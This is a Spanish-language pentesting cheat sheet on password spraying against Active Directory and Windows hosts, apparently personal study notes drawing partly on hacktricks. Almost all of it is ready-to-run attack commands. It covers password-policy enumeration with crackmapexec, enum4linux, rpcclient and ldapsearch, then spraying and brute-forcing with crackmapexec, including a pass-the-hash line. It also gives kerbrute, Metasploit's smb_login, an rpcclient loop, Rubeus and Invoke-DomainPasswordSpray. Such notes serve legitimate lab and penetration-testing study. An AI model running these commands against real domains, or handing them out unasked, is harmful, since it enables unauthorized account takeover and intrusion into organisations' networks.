Password Spraying

Una vez hayamos conseguido varios usuarios validos, podemos crear una wordlist de esos usuarios y utilizar por ejemplo rockyou.txt para cada usuario.

Lista de usuarios que pueden utilizarse para User Enumeration:https://github.com/insidetrust/statistically-likely-usernames

Password policy

Si también tenemos alguna credencial o una shell podemos sacar la política de la password con los siguientes comandos: (sacado de hacktricks)

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10; 
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Spraying

Primero pongo las técnicas para Linux.

Crackmapexec

crackmapexec smb 192.168.218.0/24 -u 'allimos' -p 'Password1'
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +

Kerbrute

https://github.com/ropnop/kerbrute
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman

Metasploit

Tenemos que utilizar el modulo scanner/smb/smb_login

RCPClient

for u in $(cat users.txt); do 
    rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

Ahora con Windows:

Utilizando Rubeus.exe para hacer bruteforce:

# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>

Invoke-DomainPasswordSpray

Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose

Invoke-SprayEmptyPassword.ps1

Reference

Last updated